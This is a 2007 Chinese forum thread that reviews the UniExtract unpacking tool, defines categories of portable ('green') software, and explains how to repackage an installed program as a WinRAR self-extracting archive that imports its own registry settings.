target="_blank"><font size="2">http://www.c1pher.com/uniextract121_source.rar</font></a><br/><br/><font size="2">软件的使用太简单了,把exe安装文件拖到 uniextract.exe图标上就OK了!<br/><br/>我一般是在 “开始”菜单建立一个UniExtract的快捷方式,定义一个快捷键Ctrl+Alt+X,使用的时候按一下Ctrl+Alt+X,然后把下载下来的程序拖到UniExtract界面上,点 OK ,整个过程不到3秒!<br/><br/>最后说说,UniExtract只不过是现有解包工具的一些组合和优化,有的时候它探测exe安装包的类型还得用PEiD~~~HOHO~~下面是它引用的第三方 Ultilities 列表(我以前都用这些命令行工具的~~~)<br/><br/><br/><br/>7-Zip (Igor Pavlov, Open Source) - Excellent general purpose Windows archive utility; used to extract .7z, 7-Zip SFX .exe, .bz2, .cab, .chm, .cpio, .deb, .gz, .iso, .lha, .lzh, NSIS installer .exe, .rpm, .tar, and .Z files <br/>ARC (Howard Chu, Open Source) - ARC archiving utility; used to extract .arc files; Note: binary was obtained from </font><a href="http://gnuwin32.sourceforge.net/packages/arc.htm" target="_blank"><font size="2">http://gnuwin32.sourceforge.net/packages/arc.htm</font></a><font size="2">
                        <br/>AutoIt (Jonathan Bennett, Open Source) - General-purpose Windows scripting language; used to write the UniExtract front-end <br/>bin2iso (Bob Doiron, Open Source) - Utility to convert BIN/CUE CD-ROM images to ISO images; used in conjunction with 7-Zip to extract .bin/.cue images <br/>Crystal SVG (Everaldo Coelho, Free) - Collection of extremely high-quality icons for Linux/KDE; used as the source graphics for the UniExtract icon <br/>E_WISE (Veit Kannegieser, Open Source) - Wise Installer decompiler; used for extracting files from Wise Installer packages <br/>extract (Gilles Vollant, Freeware) - Floppy disk image extraction utility; used to extract files from .img images <br/>GIMP (Spencer Kimball and Peter Mattis, Open Source) - The GNU Image Manipulation Program; used to create the icons used by UniExtract <br/>HelpDeco (Manfred Winterhoff, Freeware) - Decompiler for Windows Help files; used to extract/reconstruct .hlp files <br/>i6comp (Morlac, Open Source) - InstallShield 6.x Compression and Maintenance utility; used for extracting files from InstallShield 3.x - 6.x (I think) installer packages <br/>Info-ZIP UnZip (Info-ZIP, Open Source) - Highly portable ZIP archive utility; used for extracting .zip and ZIP SFX .exe files <br/>Inno Setup (Jordan Russell, Open Source) - Open Source packaging application for Windows; used to create the UniExtract installer <br/>Innounp (QuickeneR, Open Source) - Inno Setup Unpacker; used for extracting files from Inno Setup installer packages <br/>IsXunpack (Pit0n and SkYuS//vN, Freeware) - InstallShield Unpacker; used for extracting files from modern InstallShield installer packages <br/>lzop (Markus F.X.J. Oberhumer, Open Source) - LZO file compression utility; used to extract .lzo files <br/>Open-source ARJ (ARJ Software Russia, Open Source) - Open Source implementation of the ARJ archiving utility; used to extract .arj and ARJ SFX .exe files <br/>EiD (Jibz, Qwerton, snaker, and xineohP, Freeware) - Portable Executable File Identifier; used to analyze .exe file signature to determine the filetype and whether or not it's a supported archive <br/>tee (Free Software Foundation, Open Source) - Shell utility that redirects standard input to multiple outputs; used to write messages to a log file while also displaying current progress; Windows binary was obtained from </font><a href="http://unxutils.sourceforge.net/" target="_blank"><font size="2">http://unxutils.sourceforge.net/</font></a><font size="2">
                        <br/>UnRAR (Alexander L. Roshal, Freeware) - Command-line utility for RAR archives; used to extract .rar and RAR SFX .exe files <br/>WUN (J?germeister Markus, Icebird, Open Source) - Wise-Setup Unpacker; used for extracting files from Wise Installer packages (updated version of HWUN) <br/>XAce (Marcel Lemke, Freeware) - ACE archive utility; used for extracting .ace and ACE SFX .exe files <br/><br/><br/>其实平时最常用的就是 InnoUnpack和NSIS,用了3个月了,发现UniExtract还是不能解压SetupFactory制作的exe安装包~~遗憾啊~~不过大家可以看到,里面的Wise UNpacker是国人做的哦~~不过n久没有更新了~~大家以后就不要在运行什么安装程序了,直接解包就是了~~现在的软件不安装99%都能运行的~~</font></span>
 楼主| 发表于 2007-1-19 03:15:57 | 显示全部楼层
<span class="tpc_content"><font size="2">绿色软件的定义和分类<br/><br/><br/>安装完操作系统后,我们一般需要安装一些常用的软件,但是随着我们常用软件的增多,这个安装过程显得越来越令人厌烦:运行setup,然后是选择目标路径,不断的重复这个过程。后来我见到有人制作所谓的绿色软件,不需要安装,感觉很方便。当时很好奇,想知 道怎么做的,有没有什么方便的工具等等,可是在网上没有找到什么相关的知识,随着自己的一步步摸索,我逐渐积累了一些经验和比较有效的方法,在这里提供给大家。<br/><br/>首先要先弄清楚何谓绿色软件?其定义是什么?我收集了一些网友的讨论和想法:<br/>A 说,不需要安装 同时 不向注册表写入任何东西<br/>B 说,应该还包括不向系统文件夹拷贝文件,我的理解就是:安装这个软件对现有的操作系统没有任何改变,改变包括写注册表之类的。<br/>C 说,除了你现在安装的目录,应该不往任何地方写东西(比如log)。<br/>D 说,免安装,并且 不往程序所在目录以外的任何地方产生垃圾文件,还有 不写注册表<br/>E 说,综上加一条,可以放在移动存储器上在任一电脑上使用且效果相同。<br/>F 说,好像不写注册表,直接copy来就可以用得就算吧。<br/>G 说,重新安装系统的时候,仅需导入注册表,不需重新安装,就可以认为是绿色软件。<br/>H 说,其实只要不写注册表、不往系统文件夹写文件,哪怕需要.ini文件也在软件自己的目录里就行,那么就可算作绿色软件,特征是能够任意copy到别的文件夹照样能用或重装系统后直接能用,没有其它变化。所以有小部分“安装”的软件其实也符合绿色软件,因 为它 的安装只是解压缩建立文件夹而已。<br/>I 说,基本同意,但不写注册表的几乎是不可能,你只要运行过那个软件,打开注册表编辑器HKLM和HKLU下面software看看,几乎都会留下键值,其实这样也应该叫做绿色的吧。<br/><br/><br/>综合上面的意见,可以总结出绿色软件的优点,就是对操作系统无污染(恐怕这也是绿色这个名字的由来),不需要安装,方便卸载,便于携带,可以拷贝到便携的U盘上到处运行。<br/><br/>我的意见是,绿色软件应该分类,分为狭义的绿色和广义的绿色:<br/>狭义的绿色可以叫做纯绿色软件,就是指这个软件对现有的操作系统部分没有任何改变,除了软件现在安装的目录,应该不往任何地方写东西,删除的时候,直接删除所在的目录就可以了,就类似于以前的大多数DOS程序。<br/>广义的绿色就是指不需要专门的安装程序,对系统的改变比较少,手工也可以方便的完成这些改变,比如拷贝几个动态库,或者导入注册表,这里的关键是手工可以方便的完成这些改变,或者可以借助于批处理等等脚本完成。<br/>为什么要分为两类?虽然狭义的绿色软件最为理想,但是完全符合这种定义的软件非常罕见,而相当多的软件可以划分到广义的绿色这个类别,这样包括了广义的绿色软件的概念后使得绿色软件这个概念更有意义。<br/>那么不符合绿色软件要求的有哪些呢?主要是指那些和操作系统联系和集成非常紧密的软件,这些软件不适合制成绿色软件,最好还是用原来的安装程序来安装。如IE6,替换了系统中的许多动态库,手工完成这个过程很困难,也不太安全。又比如大多数杀毒软件,如果 必须实时监控系统的底层运作,对系统的修改比较大,就不适合做成绿色软件。还有微软公司的Office系列软件,和系统集成的也比较紧密。但是广义的这个标准比较灵活,如果有人搞清楚了Office系列软件的安装制作过程,也有可能制作出广义的绿色的Of fice系列。<br/><br/>为了充分理解绿色软件的定义,必须从现代软件的安装过程和运行过程两个方面来讨论。<br/>安装过程:以前在dos下面的时候,就没有这些所谓绿色软件的说法,原来程序的安装基本上都是简单的复制或者解压缩,然后配置一下config.sys 和autoexec.bat文件就可以了。随着windows的发展,应用软件也越来越大,也越来越复杂,从而有公司专门从事安装程序的制作,如InstallShield就是一款比较有名和应用比较广泛的安装软件,现在windwos也有了专门的安装程 序,就是Microsoft Installer。安装程序的作用是什么呢?主要是为了给要安装的程序提供一个简单方便的设置环境,而不需要用户手工完成这个步骤,越是复杂的配置过程,对系统的修改越多,对安装程序的依赖性就越高,Windows程序的易学易用的优点和良好的安装界面 是分不开的,安装软件的任务就是给应用程序提供一个初步完好的可以运行的环境,而不需要用户进行手工配置。<br/>运行过程:应用程序启动的时候,从注册表或者配置文件中读取配置,运行的时候,可以修改配置,但这个修改一般是在安装软件所作工作的基础上进行的,例如不能改变应用程序的安装位置了。<br/>明白安装过程和运行过程的区别后,很容易就想到把绿色软件的使用按照这两个阶段分为绿色安装过程和绿色运行过程。绿色安装是绿色运行的前提,没有绿色安装,也就说不上什么绿色运行了,绿色软件首先必须是绿色安装,我前面提到的不适合绿色软件标准的基本上都 是不能绿色安装的。<br/><br/>绿色安装的基本含义,我认为可以也可以分为狭义的和广义的绿色安装:<br/><br/>1 狭义的绿色安装就是指直接拷贝或者解压缩到目标目录,不需要向系统目录拷贝也不需要写入注册表,这是最理想的情况,或者是安装程序的作用除了解压缩外是可以忽略的,如在开始菜单加入快捷键等对系统和软件的运行没有太大影响的操作,也就是说安装过程的作用就 是复制文件到目标文件夹。<br/><br/>2 广义的绿色安装就是指在狭义的复制的基础上,必须向系统目录拷贝一些动态库,或者要在注册表中导入必要的设置,或者要进行一些其他的配置,否则的话,应用程序不能运行,而且这个配置工作应该比较简单,也容易撤销这些操作对系统的改变。<br/><br/>同样,绿色运行也可以分为狭义的和广义的绿色运行:<br/><br/>1 狭义的绿色运行指的是软件运行时完全不改变操作系统的文件和配置--很多小程序属于这个类别,或者运行结束后把撤销对系统的改变,比如运行的时候加载一个驱动程序,退出时卸载该驱动程序,所操作的INI文件在自己的程序目录中。<br/><br/>2 广义的绿色运行指的是可以通过程序本身来改变当前的设置,如改变当前软件的运行方式,或者与某些文件后缀相关联,或者在注册表中留下当前的软件设置,也就是说对系统的注册表有永久的改变,但是这些改变都是应用程序自己完成的,不需要借助其他程序或者用手工 完成。<br/><br/>综合绿色安装和绿色运行,可以把绿色软件细分为:<br/><br/>1 狭义的绿色安装,同时是狭义的绿色运行的软件,对操作系统没有任何改变。<br/><br/>2 狭义的绿色安装,广义的绿色运行的软件,软件的配置工作由软件本身来完成,不是通过安装程序。<br/><br/>3 广义的绿色安装,狭义的绿色运行,软件的配置工作由安装程序来完成,软件本身不能对配置修改,同时如果没有配置工作,软件无法正常运行。<br/><br/>4 广义的绿色安装,广义的绿色运行,最复杂的一种绿色软件,软件的配置工作由安装程序来完成,但是软件本身可以对配置 修改,同时如果没有配置工作,软件无法正常运行。<br/><br/>只有第一个类别属于我说的狭义的绿色软件,其他3类都属于广义的绿色软件的范畴。</font></span><br/>
 楼主| 发表于 2007-1-19 03:16:18 | 显示全部楼层
<span class="tpc_content"><font size="2">自制绿色软件-打造最傻瓜的软件安装包<br/><br/>用Windows优化大师制作绿色软件<br/><br/>对于一些已经安装好的软件,如果想制作成绿色软件安装包,就需要借助Windows优化大师的智能卸载功能。<br/><br/>①运行优化大师,点击窗口左侧的“系统清理维护→软件智能卸载”,点击界面的“分析”,完成分析后找到“说明”为“注册表信息”的项目。<br/><br/>②打开“注册表编辑器”,找到优化大师中“注册表信息”下的对应项,选择菜单中的“注册表→导出注册表文件”,进行几次操作后,导出所有的注册表键值,将它整合为一个zhuce.reg文件。点击“卸载”按钮,将软件卸载。<br/><br/>③ 进入优化大师安装文件夹下的Backup/UninstallFiles文件夹,找到以卸载文件的名称命名的子目录,将该目录下的所有文件复制到另一个文件夹下,并把刚才制作的两个注册表文件也保存到此文件夹下。<br/><br/>④右击该文件,选择“添加到压缩文件”。<br/><br/>⑤勾选“常规”标签下的“创建自解压格式文件”,并修改“压缩文件名”为“flashgetinst.exe”。<br/><br/>⑥点击“高级”标签下的“自解压选项”按钮。<br/><br/>⑦然后在“解压路径”填入“flashget(以flashget为例)/”,再勾选“在‘ProgramFiles’中创建”。<br/><br/>⑧在“安装程序”下的“解压后运行”中输入“Regedit/S %systemdrive%/PROGRA~1/FlashGet/zhuce.reg”<br/><br/>⑨点击“高级”标签下的“添加快捷方式”,然后在“在哪里创建”中选择“开始菜单/程序”,在“源文件名”中输入“flashget.exe”,在“目标文件夹”中输入“flashget/”,“快捷方式”中输入“FlashGet”,点击“确定”。<br/><br/>⑩点击“模式”标签,选择“全部隐藏”及“覆盖所有文件”,最后点击两次“确定”完成制作。</font></span><br/>
您需要登录后才可以回帖 登录 | 注 册

本版积分规则

站点统计|小黑屋|手机版|Archiver|和平家园 ( 粤ICP备13078947号-1 )

GMT+8, 2024-5-16 00:25 , Processed in 0.018340 second(s), 11 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表